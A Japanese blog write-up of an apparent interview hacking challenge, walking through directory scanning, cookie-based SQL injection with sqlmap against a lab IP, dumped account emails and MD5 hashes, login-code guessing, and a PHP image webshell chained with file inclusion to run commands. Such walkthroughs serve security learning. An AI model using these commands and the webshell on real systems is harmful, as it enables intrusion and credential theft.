banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

某某会社の面接実戦問題を記録する

友人の面接で、実戦問題が送られてきました。インターネット上で同じ問題を見つけたので、ここに記録します。

問題のリンクを開くと以下のようになります:

Untitled

about ページをクリックすると、いくつかのヒントが表示されます。

Untitled

ディレクトリスキャンが必要であることが示されています。dirsearch を使用してディレクトリスキャンを行った結果、いくつかのファイルが見つかりました。

Untitled

robots.txt を訪問して、機密情報があるか確認します。

Untitled

/1234 というヒントが表示されますが、アクセスすると 404 が表示されます。

Untitled

このウェブサイトは robots.txt を変更しており、友人の面接のターゲットマシンの robots.txt ファイルから、内容が Company_admin/login.php であることを知りました。これはこのウェブサイトのバックエンドです。

Untitled

バックエンドでは、メール、パスワード、4 桁の認証コードが必要です。シンプルなブルートフォース攻撃を行った結果、このページではリフレッシュごとに認証コードが変わることがわかりました。したがって、フォームのブルートフォース攻撃は行えません。

about.php ページには、sqli というヒントがあります。明らかに、このページには SQL インジェクションの脆弱性があります。

ホームページのブログをクリックすると、id というパラメータがあることがわかります。SQL インジェクションがあるかどうかを試してみます。

Untitled

"私のパスワードについて" というヒントが与えられました。

sqlmap を使用してインジェクションを利用しようとしましたが、直接利用することはできず、コンテンツを抽出することもできませんでした。

テストの結果、インジェクションポイントは cookie にあることがわかりました。

Untitled

3 と 4。

Untitled

sqlmap を直接実行します。

sqlmap -u "http://47.114.90.165:21001/single.php" --cookie "id=6" --level 2 -v 3 -D hs_test_s1_blog --tables

Untitled

5 つのテーブルが存在します。

テーブルの内容を読み取ります:

sqlmap -u "http://47.114.90.165:21001/single.php" --cookie "id=6" --level 2 -v 3 -D hs_test_s1_blog -T admin –columns

Untitled

admin のフィールドを実行すると、エラーが発生し続けるため、ここでは手動でインジェクションします。

Untitled

5 つのアカウントが得られました:

2020-08-08 20:16:55:fakeaddr@gmail.com:e69dc2c09e8da6259422d987ccbe95b5
2021-10-19 01:44:56:123@qq.com:fcea920f7412b5da7be0cf42b8c93759
2021-10-19 02:53:01:qwe@gmail.com:fcea920f7412b5da7be0cf42b8c93759
2021-10-19 23:41:40:qian@gmail.com:e10adc3949ba59abbe56e057f20f883e

[email protected]の平文パスワードは asdqwe123 です。

Untitled

あとは 4 桁の認証コードだけです。ブルートフォースはできないので、about ページのヒントには「いくつかの社会工学」とあります。

面接のターゲットマシンの about.php ページには、sqli というヒントがあります。明らかに、このページには SQL インジェクションの脆弱性があります。

ブログの場所には、2 つの記事があり、そのうちの 1 つは自分自身への誕生日のお祝いで、誕生日の日付があります、2019-10-27。

Untitled

試してみて、1027 でログインに成功しました。

ログイン後の画面は以下のようになります:

Untitled

Blog-create post の場所に、アップロードポイントが存在します。テストの結果、この場所はホワイトリストで、拡張子が画像形式のみ許可されています。

Untitled

ファイルインクルージョンの脆弱性があるかどうかを確認しましょう。直接画像マルウェアを含めてコマンドを実行します。

access-language の場所には、非常に馴染みのあるパラメータ「?template=」があります。

Untitled

直接ファイルインクルージョンが可能で、準備が整いました。

Untitled

画像マルウェアを作成し、php ファイルと png ファイルを用意します。

cat 1.php >> 1.png

テストの結果、このターゲットマシンでアップロードされた Web シェルは、GET または POST リクエストで接続することはできず、SQL インジェクションと同様に、クッキーパラメータを使用して接続し、コマンドを実行する必要があります。

まず、次のようなバックドアファイルを用意します。

<?php system($_COOKIE['a']);?>

次に、上記の方法で画像マルウェアを作成し、次のような画像が生成されます。

Untitled

ブログ作成の場所に戻り、画像マルウェアをアップロードします。

Untitled

アドレスは upload/0c3459ff68c1495cefc557f0084a2ac6.png です。

ファイルインクルージョン:http://47.114.90.165:21001/Company_admin/language.php?template=../../upload/0c3459ff68c1495cefc557f0084a2ac6.png

Untitled

このリクエストを Burp でキャプチャし、cookie の場所でコマンドを実行します。

Untitled

フラグを探し始めます。

Untitled

フラグを見つけることができました。

Untitled

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。